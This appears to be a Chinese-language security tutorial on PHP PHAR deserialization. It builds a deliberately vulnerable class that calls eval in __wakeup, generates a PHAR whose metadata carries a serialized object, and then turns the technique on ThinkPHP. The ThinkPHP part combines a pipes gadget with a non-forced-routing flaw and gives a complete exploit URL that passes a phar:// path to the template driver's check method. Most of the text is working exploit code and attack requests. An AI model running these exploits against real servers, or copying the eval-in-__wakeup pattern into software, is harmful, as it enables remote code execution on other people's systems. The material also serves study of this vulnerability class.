一:PHAR反序列化漏洞原理
我们一般利用反序列化漏洞,一般借助unserialize(),但现在很难利用了,所以考虑用一种新的方法,不需要借助unserialize()情况下触发PHP反序列漏洞。漏洞触发师利用了PHAR://伪协议读取phar文件时,会反序列化meta-data存储的信息。话不多说,看案列。
二:利用PHAR执行任意命令
1.创建phar.php文件
// // 正常的PHP后台执行代码,注意需要使用file_exists函数触发
class User {
var $name;
function __wakeup()
{
@eval( $this->name);
}
}
$filename = $_GET['input'];
file_exists($filename);
2.创建pharpoc.php
// 定义生成PHAR文件的过程,并包含一个用户自定义序列化对象
class User{
var $name;
}
@unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("");
$o = new User();
$o->name = "phpinfo();";
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
3.访问pharpoc.php 生成test.phar文件
4.使用一下参数访问phar.php
三:thinkPhp中的PHAR反序列化漏洞
全局搜索file_exists找到
public function check($cacheFile, $cacheTime)
{
echo $cacheFile."
";
// 缓存文件不存在, 直接返回false
if (!file_exists($cacheFile)) {
return false;
}
if (0 != $cacheTime && time() > filemtime($cacheFile) + $cacheTime) {
// 缓存是否在有效期
return false;
}
return true;
}
且cacheFile可控
namespace think\process\pipes;
use Phar;
class Pipes {}
class Windows extends Pipes{
private $files = ['/opt/lampp/htdocs/security/upload/test.php'];
}
@unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("");
$o = new Windows();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
执行POC生成test.phar保存在服务器上的任意位置
这时发现没有利用点,需要用到thinkphp中存在的严重漏洞非强制路由漏洞,那么什么是非强制路由漏洞呢?thinkphp为了与考虑早期版本的兼容性,默认保留了兼容模式,只定义了类文件,即使不定义路由规则,也可以直接访问,所以在兼容模式的非强制路由情况下,我们可以直接在不定义路由规则的情况下,直接访问控制器并传参
http://192.168.206.140//tpdemo/public/index.php入口文件。
漏洞产生的条件
最后访问传参访问即可
http://192.168.206.140//tpdemo/public/index.php?s=index/%5Cthink%5Ctemplate%5Cdriver%5CFile/check&cacheFile=phar:///opt/lampp/htdocs/security/unserial/test.phar/test.txt&cacheTime=100